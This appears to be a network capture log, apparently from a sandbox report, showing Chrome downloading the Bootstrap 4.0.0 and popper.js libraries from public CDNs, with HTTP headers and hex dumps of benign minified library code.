2025-03-27 17:50:53 UTC	966	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:50:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 09/26/2024 11:59:36 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1001 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: d3617537bd5287e938793273a3fbe7d9 CDN-Cache: HIT CF-Cache-Status: HIT Age: 530145 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9270bb8e2f081a13-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:50:53 UTC	403	IN	Data Raw: 37 62 65 62 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7beb/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e Data Ascii: ine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defin
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c Data Ascii: function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEl
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._des
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 Data Ascii: &p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d Data Ascii: mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 Data Ascii: l),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d Data Ascii: (!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)}
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d Data Ascii: t(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).rem
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 Data Ascii: DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collaps

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49728	104.17.25.14	443	3172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:50:52 UTC	634	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:50:53 UTC	956	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:50:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 9270bb8e2a0597b2-EWR Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Etag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT Cf-Cdnjs-Via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Age: 504297 Expires: Tue, 17 Mar 2026 17:50:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwnkPqjY3z8zDmX7DeCpBRGtzss3e6lxTekmDE4NGKSilOvZair7p1Err0P6uXwJOYtOAFSgjXDF3O9%2FIhevhXaTSHl9gCrEGAGlAEYgSqT5Qg1UYN0z4X%2BDiLTB64XLf2HOtYYA"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 alt-svc: h3=":443"; ma=86400
2025-03-27 17:50:53 UTC	413	IN	Data Raw: 31 62 66 33 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 1bf3/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 Data Ascii: odeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':re
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b Data Ascii: o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f Data Ascii: top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c Data Ascii: p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,
2025-03-27 17:50:53 UTC	1274	IN	Data Raw: 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a Data Ascii: rn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:
2025-03-27 17:50:53 UTC	1369	IN	Data Raw: 32 66 30 31 0d 0a 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: 2f01his.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function
